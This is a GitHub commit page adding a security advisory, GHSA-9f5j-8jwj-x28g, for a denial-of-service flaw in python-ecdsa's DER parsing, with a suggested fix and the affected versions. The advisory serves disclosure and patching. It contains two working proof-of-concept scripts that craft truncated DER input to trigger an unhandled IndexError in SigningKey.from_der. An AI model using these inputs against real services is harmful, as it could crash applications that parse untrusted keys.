Skip to content

Commit ce28e01

Browse files
1 parent cefeb6d commit ce28e01

1 file changed

Lines changed: 66 additions & 0 deletions

File tree

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9f5j-8jwj-x28g",
4+
"modified": "2026-03-27T15:56:01Z",
5+
"published": "2026-03-27T15:56:01Z",
6+
"aliases": [
7+
"CVE-2026-33936"
8+
],
9+
"summary": "python-ecdsa: Denial of Service via improper DER length validation in crafted private keys",
10+
"details": "## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n### poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00 -> 4096 bytes\n# Actual body: only 3 bytes -> truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n body, rest = remove_octet_string(bad)\n print(\"[BUG] remove_octet_string accepted truncated DER.\")\n print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n print(\"Body=\", body)\n print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n b = bytearray(data)\n\n # Try every OCTET STRING tag position and corrupt a short-form length byte\n for i in range(len(b) - 4):\n if b[i] != 0x04: # OCTET STRING tag\n continue\n\n L = b[i + 1]\n if L >= 0x80:\n # skip long-form lengths for simplicity\n continue\n\n max_possible = len(b) - (i + 2)\n if max_possible <= 10:\n continue\n\n # Claim more bytes than exist -> truncation\n newL = min(0x7F, max_possible + 20)\n b2 = bytearray(b)\n b2[i + 1] = newL\n\n try:\n SigningKey.from_der(bytes(b2))\n except Exception as e:\n return i, type(e).__name__, str(e)\n\n return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n i, etype, msg = res\n print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "ecdsa"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.19.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/tlsfuzzer/python-ecdsa"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-20",
59+
"CWE-130"
60+
],
61+
"severity": "MODERATE",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-03-27T15:56:01Z",
64+
"nvd_published_at": null
65+
}
66+
}

0 commit comments

Comments
 (0)